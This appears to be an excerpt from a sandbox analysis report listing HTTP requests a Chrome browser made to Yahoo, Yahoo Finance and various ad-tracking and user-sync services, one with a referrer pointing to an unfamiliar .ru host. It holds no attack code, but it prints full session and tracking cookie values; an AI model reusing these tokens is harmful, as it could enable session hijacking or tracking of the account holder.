Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/performance?ybar-init_0=0.40000000002328306&ybar-mod-sidenav_0=2&ybar-mod-logo_0=0.20000000001164153&ybar-mod-searchbox_0=0.5&ybar-mod-assistjs_0=3.1000000000058208&ybar-mod-adaptivenav_0=0.1999999999825377&ybar-account-init_0=0.7999999999883585&ybar-mail-init_0=1.3999999999941792&ybar-mod-navigation_0=15.10000000000582&ybar-mod-notification_0=0.39999999999417923&ybar-sticky_0=0.20000000001164153&src=ybar&_rdn=870002&apptype=default&rid=1pa4ckpjflnfm&bucket=900%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=https%3A%2F%2Fhfj.rontishet.ru%2F&gdpr=0&gdpr_consent=&cs_ucfr=1&cs_fpdm=null&cs_fpdt=null&cs_fpid=ktb74Qf%2BB5a5JQqJGS%2Fbp0PG1iIU%2BWKGDEPE8YdWnT4%3D&cs_fpit=c&ns_c=UTF-8&ns__t=1727716870229 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatchredir?cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&s=208386&C=1 HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZvreENHM6I4AAAyqADo2kwAA; CMPS=1010; CMPRO=1010
Source: global traffic	HTTP traffic detected: GET /libtrc/google-topics-api.20240929-12-RELEASE.es6.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?cc=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&ph=2d1251ae-7f3a-47cf-bd2a-2f288854a0ba HTTP/1.1Host: u.openx.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Select.G4QVlChI.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /getuid?https://ads.yieldmo.com/v000/sync?extinit=0&userid=$UID&pn_id=an HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=yieldmo&redir%3Dhttps%3A%2F%2Fads.yieldmo.com%2Fv000%2Fsync%3Fpn_id%3Dunl%26id%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/AccordionItem.COAy-xrR.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=ix&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=ZvreENHM6I4AAAyqADo2kwAAA_IAAAIB HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Link.CHR7GGSC.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Switch.BaMlRiYx.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Tabs.agUa80w0.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Tooltip.IRw8ojlh.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/7Z0aKacGGhmhPwsBUl2i5A--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/a129e590-7f30-11ef-8ab3-79e7dd104b7f.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/BdrXtbFtdHZFBGTr4iYGaQ--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2021-01/8fcd9e10-4e8b-11eb-9fdf-5bd1b68e439b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/1IAUDYdOSONDSm2DkprmEA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/7d21b410-7f40-11ef-b77e-dea3714d1b2e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
